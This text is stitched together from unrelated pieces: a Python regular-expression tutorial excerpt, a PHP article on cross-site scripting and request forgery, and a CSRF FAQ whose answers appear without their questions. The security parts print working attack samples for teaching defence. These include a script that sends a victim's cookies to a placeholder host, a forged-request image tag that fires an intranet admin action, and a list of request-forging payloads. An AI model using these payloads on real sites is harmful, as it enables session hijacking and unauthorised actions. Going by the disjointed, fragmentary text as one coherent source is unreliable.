Python adds an extension syntax to Perl’s extension syntax. If the first character after the question mark is a “P“, you know that it’s an extension that’s specific to Python. Currently there are two such extensions: (?P<name>…) defines a named group, and (?P=name) is a backreference to a named group. If future versions of Perl 5 add similar features using a different syntax, the re module will be changed to support the new syntax, while preserving the Python-specific syntax for compatibility’s sake.

Now that we’ve looked at the general extension syntax, we can return to the features that simplify working with groups in complex REs. Since groups are numbered from left to right and a complex expression may use many groups, it can become difficult to keep track of the correct numbering, and modifying such a complex RE is annoying. Insert a new group near the beginning, and you change the numbers of everything that follows it.

First, sometimes you’ll want to use a group to collect a part of a regular expression, but aren’t interested in retrieving the group’s contents. You can make this fact explicit by using a non-capturing group: (?:…), where you can put any other regular expression inside the parentheses.

>>> m = re.match("([abc])+", "abc")
>>> m.groups()
('c',)
>>> m = re.match("(?:[abc])+", "abc")
>>> m.groups()
()

Except for the fact that you can’t retrieve the contents of what the group matched, a non-capturing group behaves exactly the same as a capturing group; you can put anything inside it, repeat it with a repetition metacharacter such as “*“, and nest it within other groups (capturing or non-capturing). (?:…) is particularly useful when modifying an existing group, since you can add new groups without changing how all the other groups are numbered. It should be mentioned that there’s no performance difference in searching between capturing and non-capturing groups; neither form is any faster than the other.

The second, and more significant, feature is named groups; instead of referring to them by numbers, groups can be referenced by a name.

The syntax for a named group is one of the Python-specific extensions: (?P<name>…). name is, obviously, the name of the group. Except for associating a name with a group, named groups also behave identically to capturing groups. The MatchObject methods that deal with capturing groups all accept either integers, to refer to groups by number, or a string containing the group name. Named groups are still given numbers, so you can retrieve information about a group in two ways:

>>> p = re.compile(r'(?P<word>\b\w+\b)')
>>> m = p.search( '(((( Lots of punctuation )))' )
>>> m.group('word')
'Lots'
>>> m.group(1)
'Lots'

Named groups are handy because they let you use easily-remembered names, instead of having to remember numbers. Here’s an example RE from the imaplib module:

InternalDate = re.compile(r'INTERNALDATE "'
        r'(?P<day>[ 123][0-9])-(?P<mon>[A-Z][a-z][a-z])-'
	r'(?P<year>[0-9][0-9][0-9][0-9])'
        r' (?P<hour>[0-9][0-9]):(?P<min>[0-9][0-9]):(?P<sec>[0-9][0-9])'
        r' (?P<zonen>[-+])(?P<zoneh>[0-9][0-9])(?P<zonem>[0-9][0-9])'
        r'"')

It’s obviously much easier to retrieve m.group('zonem'), instead of having to remember to retrieve group 9.

Since the syntax for backreferences, in an expression like (…)\1, refers to the number of the group there’s naturally a variant that uses the group name instead of the number. This is also a Python extension: (?P=name) indicates that the contents of the group called name should again be found at the current point. The regular expression for finding doubled words, (\b\w+)\s+\1 can also be written as (?P<word>\b\w+)\s+(?P=word):

>>> p = re.compile(r'(?P<word>\b\w+)\s+(?P=word)')
>>> p.search('Paris in the the spring').group()
'the the'

4.4 Lookahead Assertions

Another zero-width assertion is the lookahead assertion. Lookahead assertions are available in both positive and negative form, and look like this:

(?=…)

Positive lookahead assertion. This succeeds if the contained regular expression, represented here by ..., successfully matches at the current location, and fails otherwise. But, once the contained expression has been tried, the matching engine doesn’t advance at all; the rest of the pattern is tried right where the assertion started.

(?!…)

Negative lookahead assertion. This is the opposite of the positive assertion; it succeeds if the contained expression doesn’t match at the current position in the string.

An example will help make this concrete by demonstrating a case where a lookahead is useful. Consider a simple pattern to match a filename and split it apart into a base name and an extension, separated by a “.“. For example, in “news.rc“, “news“is the base name, and “rc” is the filename’s extension.

The pattern to match this is quite simple:

.*[.].*$

Notice that the “.” needs to be treated specially because it’s a metacharacter; I’ve put it inside a character class. Also notice the trailing $; this is added to ensure that all the rest of the string must be included in the extension. This regular expression matches “foo.bar” and “autoexec.bat” and “sendmail.cf” and “printers.conf“.

Now, consider complicating the problem a bit; what if you want to match filenames where the extension is not “bat“? Some incorrect attempts:

.*[.][^b].*$

The first attempt above tries to exclude “bat” by requiring that the first character of the extension is not a “b“. This is wrong, because the pattern also doesn’t match “foo.bar“.

.*[.]([^b]..|.[^a].|..[^t])$

The expression gets messier when you try to patch up the first solution by requiring one of the following cases to match: the first character of the extension isn’t “b“; the second character isn’t “a“; or the third character isn’t “t“. This accepts “foo.bar” and rejects “autoexec.bat“, but it requires a three-letter extension and won’t accept a filename with a two-letter extension such as “sendmail.cf“. We’ll complicate the pattern again in an effort to fix it.

.*[.]([^b].?.?|.[^a]?.?|..?[^t]?)$

In the third attempt, the second and third letters are all made optional in order to allow matching extensions shorter than three characters, such as “sendmail.cf“.

The pattern’s getting really complicated now, which makes it hard to read and understand. Worse, if the problem changes and you want to exclude both “bat” and “exe” as extensions, the pattern would get even more complicated and confusing.

A negative lookahead cuts through all this:

.*[.](?!bat$).*$

The lookahead means: if the expression bat doesn’t match at this point, try the rest of the pattern; if bat$ does match, the whole pattern will fail. The trailing $ is required to ensure that something like “sample.batch“, where the extension only starts with “bat“, will be allowed.

Excluding another filename extension is now easy; simply add it as an alternative inside the assertion. The following pattern excludes filenames that end in either “bat” or “exe“:

.*[.](?!bat$|exe$).*$

5 Modifying Strings

Up to this point, we’ve simply performed searches against a static string. Regular expressions are also commonly used to modify a string in various ways, using the following RegexObject methods:

5.1 Splitting Strings

The split() method of a RegexObject splits a string apart wherever the RE matches, returning a list of the pieces. It’s similar to the split() method of strings but provides much more generality in the delimiters that you can split by; split() only supports splitting by whitespace or by a fixed string. As you’d expect, there’s a module-level re.split() function, too.

split(

string [, maxsplit = 0])

Split string by the matches of the regular expression. If capturing parentheses are used in the RE, then their contents will also be returned as part of the resulting list. If maxsplit is nonzero, at most maxsplit splits are performed.

You can limit the number of splits made, by passing a value for maxsplit. When maxsplit is nonzero, at most maxsplit splits will be made, and the remainder of the string is returned as the final element of the list. In the following example, the delimiter is any sequence of non-alphanumeric characters.

>>> p = re.compile(r'\W+')
>>> p.split('This is a test, short and sweet, of split().')
['This', 'is', 'a', 'test', 'short', 'and', 'sweet', 'of', 'split', '']
>>> p.split('This is a test, short and sweet, of split().', 3)
['This', 'is', 'a', 'test, short and sweet, of split().']

Sometimes you’re not only interested in what the text between delimiters is, but also need to know what the delimiter was. If capturing parentheses are used in the RE, then their values are also returned as part of the list. Compare the following calls:

>>> p = re.compile(r'\W+')
>>> p2 = re.compile(r'(\W+)')
>>> p.split('This... is a test.')
['This', 'is', 'a', 'test', '']
>>> p2.split('This... is a test.')
['This', '... ', 'is', ' ', 'a', ' ', 'test', '.', '']

The module-level function re.split() adds the RE to be used as the first argument, but is otherwise the same.

>>> re.split('[\W]+', 'Words, words, words.')
['Words', 'words', 'words', '']
>>> re.split('([\W]+)', 'Words, words, words.')
['Words', ', ', 'words', ', ', 'words', '.', '']
>>> re.split('[\W]+', 'Words, words, words.', 1)
['Words', 'words, words.']

5.2 Search and Replace

Another common task is to find all the matches for a pattern, and replace them with a different string. The sub() method takes a replacement value, which can be either a string or a function, and the string to be processed.

sub(	replacement, string[, count = 0])

Returns the string obtained by replacing the leftmost non-overlapping occurrences of the RE in string by the replacement replacement. If the pattern isn’t found, string is returned unchanged.The optional argument count is the maximum number of pattern occurrences to be replaced; count must be a non-negative integer. The default value of 0 means to replace all occurrences.

Here’s a simple example of using the sub() method. It replaces colour names with the word “colour“:

>>> p = re.compile( '(blue|white|red)')
>>> p.sub( 'colour', 'blue socks and red shoes')
'colour socks and colour shoes'
>>> p.sub( 'colour', 'blue socks and red shoes', count=1)
'colour socks and red shoes'

The subn() method does the same work, but returns a 2-tuple containing the new string value and the number of replacements that were performed:

>>> p = re.compile( '(blue|white|red)')
>>> p.subn( 'colour', 'blue socks and red shoes')
('colour socks and colour shoes', 2)
>>> p.subn( 'colour', 'no colours at all')
('no colours at all', 0)

Empty matches are replaced only when they’re not adjacent to a previous match.

>>> p = re.compile('x*')
>>> p.sub('-', 'abxd')
'-a-b-d-'

If replacement is a string, any backslash escapes in it are processed. That is, “\n” is converted to a single newline character, “\r” is converted to a carriage return, and so forth. Unknown escapes such as “\j” are left alone. Backreferences, such as “\6“, are replaced with the substring matched by the corresponding group in the RE. This lets you incorporate portions of the original text in the resulting replacement string.

This example matches the word “section” followed by a string enclosed in “{“, “}“, and changes “section” to “subsection“:

>>> p = re.compile('section{ ( [^}]* ) }', re.VERBOSE)
>>> p.sub(r'subsection{\1}','section{First} section{second}')
'subsection{First} subsection{second}'

There’s also a syntax for referring to named groups as defined by the (?P<name>…) syntax. “\g<name>” will use the substring matched by the group named “name“, and “\g<number>” uses the corresponding group number. “\g<2>” is therefore equivalent to “\2“, but isn’t ambiguous in a replacement string such as “\g<2>0“. (”\20” would be interpreted as a reference to group 20, not a reference to group 2 followed by the literal character “0“.) The following substitutions are all equivalent, but use all three variations of the replacement string.

>>> p = re.compile('section{ (?P<name> [^}]* ) }', re.VERBOSE)
>>> p.sub(r'subsection{\1}','section{First}')
'subsection{First}'
>>> p.sub(r'subsection{\g<1>}','section{First}')
'subsection{First}'
>>> p.sub(r'subsection{\g<name>}','section{First}')
'subsection{First}'

replacement can also be a function, which gives you even more control. If replacement is a function, the function is called for every non-overlapping occurrence of pattern. On each call, the function is passed a MatchObject argument for the match and can use this information to compute the desired replacement string and return it.

In the following example, the replacement function translates decimals into hexadecimal:

>>> def hexrepl( match ):
...     "Return the hex string for a decimal number"
...     value = int( match.group() )
...     return hex(value)
...
>>> p = re.compile(r'\d+')
>>> p.sub(hexrepl, 'Call 65490 for printing, 49152 for user code.')
'Call 0xffd2 for printing, 0xc000 for user code.'

When using the module-level re.sub() function, the pattern is passed as the first argument. The pattern may be a string or a RegexObject; if you need to specify regular expression flags, you must either use a RegexObject as the first parameter, or use embedded modifiers in the pattern, e.g. sub("(?i)b+", "x", "bbbb BBBB") returns 'x x'.

6 Common Problems

Regular expressions are a powerful tool for some applications, but in some ways their behaviour isn’t intuitive and at times they don’t behave the way you may expect them to. This section will point out some of the most common pitfalls.

6.1 Use String Methods

Sometimes using the re module is a mistake. If you’re matching a fixed string, or a single character class, and you’re not using any re features such as the IGNORECASE flag, then the full power of regular expressions may not be required. Strings have several methods for performing operations with fixed strings and they’re usually much faster, because the implementation is a single small C loop that’s been optimized for the purpose, instead of the large, more generalized regular expression engine.

One example might be replacing a single fixed string with another one; for example, you might replace “word“with “deed“. re.sub() seems like the function to use for this, but consider the replace() method. Note that replace() will also replace “word” inside words, turning “swordfish” into “sdeedfish“, but the naïve RE word would have done that, too. (To avoid performing the substitution on parts of words, the pattern would have to be \bword\b, in order to require that “word” have a word boundary on either side. This takes the job beyond replace’s abilities.)

Another common task is deleting every occurrence of a single character from a string or replacing it with another single character. You might do this with something like re.sub('\n', ' ', S), but translate() is capable of doing both tasks and will be faster that any regular expression operation can be.

In short, before turning to the re module, consider whether your problem can be solved with a faster and simpler string method.

6.2 match() versus search()

The match() function only checks if the RE matches at the beginning of the string while search() will scan forward through the string for a match. It’s important to keep this distinction in mind. Remember, match() will only report a successful match which will start at 0; if the match wouldn’t start at zero, match() will not report it.

>>> print re.match('super', 'superstition').span()
(0, 5)
>>> print re.match('super', 'insuperable')
None

On the other hand, search() will scan forward through the string, reporting the first match it finds.

>>> print re.search('super', 'superstition').span()
(0, 5)
>>> print re.search('super', 'insuperable').span()
(2, 7)

Sometimes you’ll be tempted to keep using re.match(), and just add .* to the front of your RE. Resist this temptation and use re.search() instead. The regular expression compiler does some analysis of REs in order to speed up the process of looking for a match. One such analysis figures out what the first character of a match must be; for example, a pattern starting with Crow must match starting with a “C“. The analysis lets the engine quickly scan through the string looking for the starting character, only trying the full match if a “C” is found.

Adding .* defeats this optimization, requiring scanning to the end of the string and then backtracking to find a match for the rest of the RE. Use re.search() instead.

6.3 Greedy versus Non-Greedy

When repeating a regular expression, as in a*, the resulting action is to consume as much of the pattern as possible. This fact often bites you when you’re trying to match a pair of balanced delimiters, such as the angle brackets surrounding an HTML tag. The naïve pattern for matching a single HTML tag doesn’t work because of the greedy nature of .*.

>>> s = '<html><head><title>Title</title>'
>>> len(s)
32
>>> print re.match('<.*>', s).span()
(0, 32)
>>> print re.match('<.*>', s).group()
<html><head><title>Title</title>

The RE matches the “<” in “<html>“, and the .* consumes the rest of the string. There’s still more left in the RE, though, and the > can’t match at the end of the string, so the regular expression engine has to backtrack character by character until it finds a match for the >. The final match extends from the “<” in “<html>“to the “>” in “</title>“, which isn’t what you want.

In this case, the solution is to use the non-greedy qualifiers *?, +?, ??, or {m,n}?, which match as little text as possible. In the above example, the “>” is tried immediately after the first “<” matches, and when it fails, the engine advances a character at a time, retrying the “>” at every step. This produces just the right result:

>>> print re.match('<.*?>', s).group()
<html>

(Note that parsing HTML or XML with regular expressions is painful. Quick-and-dirty patterns will handle common cases, but HTML and XML have special cases that will break the obvious regular expression; by the time you’ve written a regular expression that handles all of the possible cases, the patterns will be very complicated. Use an HTML or XML parser module for such tasks.)

6.4 Not Using re.VERBOSE

By now you’ve probably noticed that regular expressions are a very compact notation, but they’re not terribly readable. REs of moderate complexity can become lengthy collections of backslashes, parentheses, and metacharacters, making them difficult to read and understand.

For such REs, specifying the re.VERBOSE flag when compiling the regular expression can be helpful, because it allows you to format the regular expression more clearly.

The re.VERBOSE flag has several effects. Whitespace in the regular expression that isn’t inside a character class is ignored. This means that an expression such as dog | cat is equivalent to the less readable dog|cat, but [a b] will still match the characters “a“, “b“, or a space. In addition, you can also put comments inside a RE; comments extend from a “#” character to the next newline. When used with triple-quoted strings, this enables REs to be formatted more neatly:

pat = re.compile(r"""
 \s*                 # Skip leading whitespace
 (?P<header>[^:]+)   # Header name
 \s* :               # Whitespace, and a colon
 (?P<value>.*?)      # The header's value -- *? used to
                     # lose the following trailing whitespace
 \s*$                # Trailing whitespace to end-of-line
""", re.VERBOSE)

This is far more readable than:

pat = re.compile(r"\s*(?P<header>[^:]+)\s*:(?P<value>.*?)\s*$")

This article explores two contrasting attack vectors, cross-site scripting (XSS) and cross-site request forgeries (CSRF). As you read this article, I hope you will not only learn some specific strategies for protecting against these specific attacks, but that you will also gain a deeper understanding of web application security principles in general.

Cross-Site Scripting

If you’re a web developer, you’ve most likely heard about XSS. In fact, you may have already taken steps to protect your applications against XSS attacks. The effectiveness of such protective measures depends upon whether you’re addressing the root cause of the problem or just a symptom, and of course how well you understand the problem in the first place. It is a common tendency to only address a specific exploit in much the same way that you might resolve a bug using a specific test case. With this strategy, a web developer’s effort is less effective. You want to address the root cause of a problem whenever possible.

The fundamental error that yields XSS vulnerabilities is a blind trust of remote data (input). A general recommendation among web developers is to never trust user input, but protecting against XSS requires more, because any input can be dangerous. Examples of include posts on a forum, email displayed in a browser, an advertisement, stock quotes provided in a feed, and form data. For any useful application, there is going to be a lot of input, and this is the type of application that requires the most attention. The risk is not just that you trust the input, but that you assume it is safe to display to your users. You are trusted by your users, and XSS attacks exploit that trust.

To understand why displaying such data can be dangerous, consider a simple registration form where users provide a preferred username along with their email address, and their registration information is emailed to them once their account is created. The following form might be used to solicit this information:

Toggle Code View

<form action="/register.php" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Email: <input type="text" name="email" /></p>
<p><input type="submit" value="Register" /></p>
</form>

1. <form action="/register.php" method="POST">
2. <p>Username: <input type="text" name="username" /></p>
3. <p>Email: <input type="text" name="email" /></p>
4. <p><input type="submit" value="Register" /></p>
5. </form>

Figure 1 illustrates how this form might appear in a browser.

Figure 1:

If the data sent by this form is not properly filtered, malicious users can send malicious data to register.php, and the only limit to what they can do is the limit of their creativity.

Consider if the registration data is stored in a database as follows:

Toggle Code View

<?php
?
$mysql = array();
$mysql['username'] = mysql_real_escape_string($_POST['username']);
$mysql['email'] = mysql_real_escape_string($_POST['email']);
?
$sql = "INSERT
        INTO    users (username, email)
        VALUES  ('{$mysql['username']}', '{$mysql['email']}')";
?
?>

1. <?php
3. $mysql = array();
4. $mysql['username'] = mysql_real_escape_string($_POST['username']);
5. $mysql['email'] = mysql_real_escape_string($_POST['email']);
7. $sql = “INSERT
8. INTO users (username, email)
9. VALUES (’{$mysql['username']}’, ‘{$mysql['email']}’)”;
11. ?>

Hopefully the use of $_POST is conspicuous. Although $_POST['username'] and $_POST['email'] are escaped properly for MySQL, this example still demonstrates a blind trust of this data. With legitimate users, the dangers of this approach will remain hidden, and this is exactly how many web application vulnerabilities are born. Consider the following username:

Toggle Code View

<script>alert('XSS');</script>

1. <script>alert('XSS');</script>

Although it is easy to determine that this is not a valid username, the previous example demonstrates how the code that you write might not be so wise. Without input filtering, anything can end up in the database. Of course, the danger in the case of XSS is when this data is displayed to users.

Assume that this particular registration system has an administrative interface that is only accessible from the local network by authorized users. It is easy to assume that an application inaccessible from the outside is safe, and less effort might be invested in the security of such an application. Now, consider the code in Listing 1 that displays a list of registered users to authorized administrators.

Listing 1:

Toggle Code View

<table>
    <tr>
        <th>Username</th>
        <th>Email</th>
    </tr>
?
<?php
?
if ($_SESSION['admin']) {
    $sql = 'SELECT username, email
            FROM   users';
?
    $result = mysql_query($sql);
?
    while ($record = mysql_fetch_assoc($result)) {
        echo "    <tr>\n";
        echo "        <td>{$record['username']}</td>\n";
        echo "        <td>{$record['email']}</td>\n";
        echo "    </tr>\n";
    }
}
?
?>
?
</table>

1. <table>
2. <tr>
3. <th>Username</th>
4. <th>Email</th>
5. </tr>
7. <?php
9. if ($_SESSION['admin']) {
10. $sql = ‘SELECT username, email
11. FROM users’;
13. $result = mysql_query($sql);
15. while ($record = mysql_fetch_assoc($result)) {
16. echo ” <tr>\n”;
17. echo ” <td>{$record['username']}</td>\n”;
18. echo ” <td>{$record['email']}</td>\n”;
19. echo ” </tr>\n”;
20. }
21. }
23. ?>
25. </table>

If the data in the database is tainted, an administrator might be subjected to XSS by using this application. This risk is illustrated in Figure 2.

Figure 2:

This risk is even clearer if you consider a more malicious payload such as the following:

Toggle Code View

<script>
new Image().src =
    'http://example.org/steal.php?cookies=' +
    encodeURI(document.cookie);
</script>

1. <script>
2. new Image().src =
3. 'http://example.org/steal.php?cookies=' +
4. encodeURI(document.cookie);
5. </script>

If this is displayed to an administrator, the administrator’s cookies will be sent to example.org. In this example, steal.php can access the cookies with $_GET['cookies']. Once captured, these cookies can be used to hijack the administrator’s session.

Safeguarding Against XSS

There are a few guidelines that you can follow to help safeguard your applications against XSS attacks. Hopefully you can already predict a few of these.

Filter All Input

You must, without fail, filter all input. Inspect all input, and only allow valid data into your application.

Escape All Output

You should also escape all output. For data that is meant to be displayed as raw data and not interpreted as HTML, it must be escaped for the context of HTML.

Use Mature Solutions

When possible, use mature, existing solutions instead of trying to create your own. Functions like strip_tags() and htmlentities() are good choices.

Only Allow Safe Content

Instead of trying to predict what malicious data you want to reject, define your criteria for valid data, and force all input to abide by your guidelines. For example, if a user is supplying a last name, you might start by only allowing alphabetic characters and spaces, as these are safe. If you reject everything else, Berners-Lee and O’Reilly will be rejected, despite being valid last names. However, this problem is easily resolved. A quick change to also allow single quotes and hyphens is all you need to do. Over time, your input filtering techniques will be perfected.

Use a Naming Convention

There are many naming conventions that you can use to identify whether a particular variable is tainted. Choose whichever convention is most intuitive to you, and use it consistently in all of your development. A simple example is to initialize an array called $clean, and only store data in $clean once it has been filtered.

Cross-Site Request Forgeries

CSRF is an almost opposite type of attack. Rather than exploiting the trust that a user has for a particular site, CSRF exploits the trust that a site has for a particular user. In the case of XSS, the user is the victim. In the case of CSRF, the user is an accomplice.

Because CSRF involves a forged HTTP request, it is important to first understand a little bit about HTTP, the protocol that web clients and servers use to communicate. Web clients (browsers) send HTTP requests to web servers, and the servers return HTTP responses in reply. A request and its corresponding response make up an HTTP transaction. A basic example of an HTTP request is as follows:

Toggle Code View

GET / HTTP/1.1
Host: example.org

1. GET / HTTP/1.1
2. Host: example.org

The URL being requested in this example is http://example.org/. Here is a slightly more realistic example of a request for this resource:

Toggle Code View

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/1.4
Accept: text/xml, image/png, image/jpeg, image/gif, */*

1. GET / HTTP/1.1
2. Host: example.org
3. User-Agent: Mozilla/1.4
4. Accept: text/xml, image/png, image/jpeg, image/gif, */*

This example demonstrates the use of two additional HTTP headers: User-Agent and Accept. The Host header, present in both examples, is required in HTTP/1.1. There are many HTTP headers that may be included in a request, and you might be familiar with referencing some of these in your code. PHP makes these available to you in the $_SERVER array as $_SERVER['HTTP_HOST'], $_SERVER['HTTP_USER_AGENT'], and $_SERVER['HTTP_ACCEPT']. For the remainder of this article, optional headers will be omitted for brevity in the examples.

The simplest example of a CSRF attack uses an <img> tag to initiate the forged request. To explain how this is possible, consider a request for http://example.org/ that prompts the following response:

Toggle Code View

HTTP/1.1 200 OK
Content-Length: 61
?
<html>
<img src="http://example.org/image.png" />
</html>

1. HTTP/1.1 200 OK
2. Content-Length: 61
4. <html>
5. <img src="http://example.org/image.png" />
6. </html>

When a browser interprets the HTML content, it will send a GET request for each additional resource it needs to render the page. For example, after interpreting this response, an additional request is sent for the image:

Toggle Code View

GET /image.png HTTP/1.1
Host: example.org

1. GET /image.png HTTP/1.1
2. Host: example.org

The most important characteristic of this request is that it is identical to a request initiated directly by the user. This is because requests for images are no different than requests for any other URL. A resource is a resource.

Figure 3 illustrates how CSRF can abuse this behavior.

Figure 3:

In order to appreciate the risk, consider a simple forum located at http://forum.example.org/ that provides the following form for adding a post:

Toggle Code View

<form action="/post.php">
<p>Subject: <input type="text" name="subject" /></p>
<p>Message: <textarea name="message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>

1. <form action="/post.php">
2. <p>Subject: <input type="text" name="subject" /></p>
3. <p>Message: <textarea name="message"></textarea></p>
4. <p><input type="submit" value="Add Post" /></p>
5. </form>

If a user enters foo as the subject and bar as the message, an HTTP request similar to the following will be sent (assuming that the session identifier is propagated as a cookie):

Toggle Code View

GET /post.php?subject=foo&message=bar HTTP/1.1
Host: forum.example.org
Cookie: PHPSESSID=123456789

1. GET /post.php?subject=foo&message=bar HTTP/1.1
2. Host: forum.example.org
3. Cookie: PHPSESSID=123456789

Consider the following <img> tag:

Toggle Code View

<img src="http://forum.example.org/post.php?subject=foo&message=bar" />

1. <img src="http://forum.example.org/post.php?subject=foo&message=bar" />

When a browser requests this image, the HTTP request will look identical to the previous example, including the PHPSESSID cookie. With a simple change to the URL, an attacker can modify the subject and message to be anything, even XSS. All the attacker must do to launch the attack is have the victim(s) visit a URL that contains this image, and the victim’s browser will do the rest, all behind the scenes. The victim will likely be completely unaware of the attack.

More dangerous attacks might forge requests to purchase items or perform administrative tasks on a restricted intranet application. Consider an application located at http://192.168.0.1/admin/ that allows authorized users to terminate employees. Even with a flawless session management mechanism that is immune to impersonation, combined with the fact that this application cannot be accessed by users outside of the local network, a CSRF attack can avoid these safeguards with something as simple as the following:

Toggle Code View

<img src="http://192.168.0.1/admin/terminate_employee.php?employee_id=123" />

1. <img src="http://192.168.0.1/admin/terminate_employee.php?employee_id=123" />

Figure 4 illustrates this particular attack and how it can be used to penetrate an otherwise secure local network.

Figure 4:

The most challenging characteristic of CSRF is that a legitimate user is sending the request. Also, because it is unrealistic to rely on other web sites to disallow <img> tags, especially since the attacker could coerce the victim into visiting the attacker’s own site, the problem must be addressed upon receipt. Preventing forged requests is unrealistic. Detecting them is essential.

Safeguarding Against CSRF

Safeguarding your applications against CSRF is a bit more challenging than safeguarding them against XSS attacks, but there are a few guidelines that you can follow.

Use POST

Although it doesn’t prevent CSRF, you should require POST for any request that performs an action. This also means using $_POST instead of $_REQUEST.

Require Verification

Although convenience is a hallmark of good design, if a single request can trigger an important action, the risk of CSRF is increased. For important actions, don’t hesitate to ask the user for verification. For extremely sensitive actions, consider requiring the user to provide a password in order to authorize the action.

Use an Anti-CSRF Token

The root cause of CSRF is a failure to verify intent. In order to help verify intent, consider adding an anti-CSRF token to your forms. Consider Listing 2 as a substitute for the form used to post to forum.example.org. When a user requests this form, a new token is generated, saved in the user’s session, and included in the form as a hidden form variable. Therefore, when a request is received by post.php, not only can $_POST['token'] be compared with $_SESSION['token'], but a timeout can also be applied to further minimize the risk. This tactic practically eliminates CSRF.

<?php
?
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_timestamp'] = time();
?
?>
?
<form action="/post.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>Subject: <input type="text" name="subject" /></p>
<p>Message: <textarea name="message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>

This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.

Cross Site Request Forgery (also known as XSRF, CSRF, and Cross Site Reference Forgery) works by exploiting the trust that a site has for the user. Site tasks are usually linked to specific urls (Example: http://site/stocks?buy=100&stock=ebay) allowing specific actions to be performed when requested. If a user is logged into the site and an attacker tricks their browser into making a request to one of these task urls, then the task is performed and logged as the logged in user. Typically an attacker will embed malicious HTML or JavaScript code into an email or website to request a specific ‘task url’ which executes without the users knowledge, either directly or by utilizing a Cross-site Scripting Flaw. Injection via light markup languages such as BBCode is also entirely possible. These sorts of attacks are fairly difficult to detect potentially leaving a user debating with the website/company as to whether or not the stocks bought the day before was initiated by the user after the price plummeted.

In the 1988 Norm Hardy published a document explaining an application level trust issue he called a confused deputy. In 2000 a post to bugtraq explained how ZOPE was affected by a confused-deputy web problem that we would define today as a CSRF vulnerability. Later in 2001 Peter Watkins posted an entry on the bugtraq mailing list coining the CSRF term in response to another thread titled The Dangers of Allowing Users to Post Images.

Most of the functionality allowed by the website can be performed by an attacker utilizing CSRF. This could include posting content to a message board, subscribing to an online newsletter, performing stock trades, using an shopping cart, or even sending an e-card. CSRF can also be used as a vector to exploit existing Cross-site Scripting flaws in a given application. For example imagine an XSS issue on an online forum or blog, where an attacker could force the user through CSRF to post a copy of the next big website worm. An attacker could also utilize CSRF to relay an attack against a site of their choosing, as well as perform a Denial Of Service attack in the right circumstances.

Cross-Site Scripting exploits the trust that a client has for the website or application. Users generally trust that the content displayed in their browsers was intended to be displayed by the website being viewed. The website assumes that if an ‘action request’ was performed, that this is what the user wanted and happily performs it. CSRF exploits the trust that a site has for the user.

The most popular ways to execute CSRF attacks is by using a HTML image tag, or JavaScript image object. Typically an attacker will embed these into an email or website so when the user loads the page or email, they perform a web request to any URL of the attackers liking.? Below is a list of the common ways that an attacker may try sending a request.

HTML Methods

IMG SRC
<img src=”http://host/?command”>

SCRIPT SRC
<script src=”http://host/?command”>

IFRAME SRC
<iframe src=”http://host/?command”>

JavaScript Methods

‘Image’ Object
<script>
var foo = new Image();
foo.src = “http://host/?command”;
</script>

‘XMLHTTP’ Object (See “Can applications using only POST be vulnerable?” for when this can be used)
IE
<script>
var post_data = ‘name=value’;
var xmlhttp=new ActiveXObject(”Microsoft.XMLHTTP”);
xmlhttp.open(”POST”, ‘http://url/path/file.ext’, true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>

Mozilla
<script>
var post_data = ‘name=value’;
var xmlhttp=new XMLHttpRequest();
xmlhttp.open(”POST”, ‘http://url/path/file.ext’, true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>

Many other ways exist in HTML/VBScript/JavaScript/ActionScript/JScript and other markup languages to make the users browser perform remote requests.

Absolutely not. An attacker could embed scripting into a word document, Flash File, Movie, RSS or Atom web feed, or other document format allowing scripting. Applications utilizing XML documents use XML parsers to quickly parse through data. Certain tags within an XML document may tell the XML parser to request additional documents from a URI. Browsers will be the dominant way to execute these attacks but aren’t the only way.

Yes. An attacker could craft a web form on site A and using JavaScript auto submit the form to a target location of Site b. If the application containing the CSRF payload uses a browser component that runs in the local zone, then sending remote POST requests to any website is possible using XMLHTTP or similar objects.

There’s another way to attack a website using purely POST based parameters, however this depends entirely on how the web application was developed. Popular web based libraries such as Perl’s CGI.PM module allow a developer to fetch a parameter without caring if it came in through a GET or POST request. As is the case with certain usages of CGI.PM, POST requests can be converted to GET by the attacker and the application action will still be performed. Below is an example.

Perl’s CGI.PM
——————————
use CGI qw(:all);
$value = param(’foo’);
print “Content-type: text/html\n\n”;
print “The ‘foo’ parameter value is $value\n\n\n”;
——————————

This script allows either a GET or POST request to be sent the application. This is not limited to Perl and can affect any language depending on the library they are using, or way the application was developed. If you are using CGI.pm and want to prevent GET requests one way is to perform a request method check before executing the rest of your code using ‘$ENV{’REQUEST_METHOD’}’. Below are the most common ways to fetch a parameter by language, that allow for either GET or POST requests to be sent.

JSP Example

Commonly Used: request.getParameter(”foo”)
Solution: Check the HTTP Request method and see if it is using POST before performing the requested action.

PHP Example

Commonly Used: $_REQUEST['foo']
Solution: Use $_POST['foo'] instead to specify POST Only.

ASP.NET Example

Commonly Used: Request.Params["foo"];
Solution: Use HTTPRequest.Form (Request.Form) which grabs POST only.

Converting actions to POST only is not a solution to CSRF, but should be implemented as a best practice. See “What can I do to protect my own applications?” for a more comprehensive solution.

If your website allows performing a site function using a static URL or POST request (i.e. one that doesn’t change) then it is possible. If this command is performed through GET then it is a much higher risk. If the site is purely POST see “Can applications using only POST be vulnerable?” for use cases. A quick test would involve browsing the website through a proxy such as Paros and record the requests made. At a later time perform the same action and see if the requests are performed in an identical manner (your cookie will probably change). If you are able to perform the same function using the GET or POST request repeatedly then the site application may be vulnerable.

No. Referer headers can be spoofed using XMLHTTP and by using flash as demonstrated by Amit Klein and rapid7 and therefore cannot be trusted.

A vulnerability in GMail was discovered in January 2007 which allowed a attacker to steal a GMail user’s contact list. A different issue was discovered in Netflix which allowed an attacker to change the name and address on the account, as well as add movies to the rental queue etc…

Nothing. The fact is as long as you visit websites and don’t have control of the inner architecture of these applications you can’t do a thing.? The truth hurts doesn’t it?

